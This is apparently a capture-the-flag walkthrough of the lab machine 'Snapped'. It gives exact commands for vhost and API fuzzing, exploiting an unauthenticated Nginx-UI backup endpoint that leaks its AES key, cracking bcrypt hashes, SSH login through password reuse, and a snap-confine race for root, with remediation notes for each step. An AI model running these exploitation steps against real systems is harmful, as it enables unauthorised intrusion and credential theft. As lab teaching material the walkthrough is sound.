Snapped
Summary
External enumeration of $TARGET (snapped.htb) exposed only SSH and a static marketing site on the main vhost, but vhost fuzzing uncovered an admin.snapped.htb subdomain running Nginx-UI. Endpoint fuzzing found an unauthenticated backup API vulnerable to CVE-2026-27944, which returned a ZIP of the full Nginx-UI configuration and SQLite database while leaking the AES key/IV used to encrypt the inner archive via a response header.
Decrypting the archive exposed bcrypt password hashes; one was cracked offline to a weak, dictionary-crackable password that was reused for SSH, yielding a low-privilege foothold and user.txt. Local enumeration found a SUID snap-confine binary from an outdated snapd build vulnerable to CVE-2026-3888, a TOCTOU race in the sandbox 'mimic' mount construction; racing it against the firefox snap's configure hook allowed substitution of a malicious dynamic loader inside the mount namespace, yielding a root shell and root.txt.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <b64iv>, <b64key>, <hexiv>, <hexkey>, <timestamp> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 1
Full TCP port and service/version scan
$ nmap -p- -sC -sV -oA snapped $TARGETExact commands 2
Virtual host brute force against snapped.htb
$ ffuf -u http://FUZZ.snapped.htb -H "Host: FUZZ.snapped.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0Unauthenticated API endpoint discovery on admin.snapped.htb
$ ffuf -u http://admin.snapped.htb/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -mc 200,403Exact commands 6
Download backup ZIP; X-Backup-Security: <b64key>:<b64iv> printed in verbose headers
$ curl -OJ -v http://admin.snapped.htb/api/backupDecode AES key to hex
$ echo "<b64key>" | base64 -d | xxd -p -c256Decode AES IV to hex
$ echo "<b64iv>" | base64 -d | xxd -p -c256Extracts hash_info.txt, nginx-ui.zip, nginx.zip
$ unzip -d backup backup-<timestamp>.zipDecrypt the inner Nginx-UI archive using the leaked key/IV
$ openssl enc -aes-256-cbc -d -in backup/nginx-ui.zip -out nginxui_decrypted.zip -K <hexkey> -iv <hexiv>Yields app.ini and database.db
$ unzip nginxui_decrypted.zipFixUnauthenticated Nginx-UI backup endpoint with key disclosure (CVE-2026-27944)Critical
Exact commands 2
Dump user accounts and bcrypt hashes
$ sqlite3 database.db "select * from users;"Crack jonathan's bcrypt hash against rockyou
$ hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txtFixWeak, reused password across web application and SSHHigh
Exact commands 3
Authenticate with the cracked password: $PASSWORD
$ ssh jonathan@snapped.htbConfirm uid=1000(jonathan), no sudo/adm/lxd/docker groups
$ id
uid=1000(jonathan)Capture <user.txt>
$ cat /home/jonathan/user.txtExact commands 5
Enumerate SUID binaries; identifies /usr/lib/snapd/snap-confine
$ find / -perm -4000 -type f 2>/dev/nullConfirm vulnerable snapd 2.63.1 on Ubuntu 24.04
$ snap --versionStage working directory for the race
$ mkdir -p /tmp/race && cd /tmp/raceRepeatedly invoke snap-confine against firefox's configure hook to trigger the mimic race window
$ while true; do env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /bin/bash; doneCapture <root.txt> once the race lands a root shell
$ cat /root/root.txtFixOutdated snapd vulnerable to snap-confine TOCTOU race (CVE-2026-3888)Critical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.24.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.